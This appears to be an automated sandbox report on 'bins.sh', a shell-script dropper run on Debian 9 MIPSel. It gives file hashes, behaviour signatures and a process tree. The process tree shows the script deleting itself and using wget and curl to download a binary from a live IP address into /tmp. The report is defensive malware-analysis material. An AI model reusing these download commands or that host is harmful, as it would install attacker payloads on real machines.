Overview

overview

8

Static

static

1

bins.sh

ubuntu-18.04-amd64

8

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    149s
  • max time network
    135s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23-11-2024 21:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    431b48448d4b1dfa1658bc2885794b2c

  • SHA1

    b50b7e76f9f7213c9537e92378a3a4b2834e057a

  • SHA256

    9eafacdae4bc698ac3772dec6d7fd58f52016d14ed2bebced95adb3bf5b11942

  • SHA512

    ac65c463a6209ee2391cd2c5e71fa5ba86113611edb0222341ca28e64257f7113f8f41ebd49ecb8ad38c90956f4b3121300695af5d34ef2f17aa8408c2d0425b

  • SSDEEP

    192:pTrjA8AAnTJGiOkqyc7PDm+MePU5m+Mqqyc7P6TJl0TrjA8iF:KAMP/PUxF

Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:719
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:724
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:748

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
        Filesize

        107KB

        MD5

        eb9c3a0de91fcf16ba17cb24608df68c

        SHA1

        09d95a7d70d5e115d103be51edff7c498d272fac

        SHA256

        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

        SHA512

        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

        Download Submit

      • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
        Filesize

        80KB

        MD5

        ac79be737a697911a8101a63c93fdc69

        SHA1

        5beb47b44d1be8aa4d914427580272d78e0a510b

        SHA256

        8a56a2f6205ac9cdeb729938b6813d1cfbf146bf4aefd4ca83a9b6070de78dc5

        SHA512

        d045789af99031046f9f007380374ee170122046c4e0f989207ac9cf8e378c63d008f8b1f88dadcacf6c63a3d110900224ed782b408a30624b225156603520bb

        Download Submit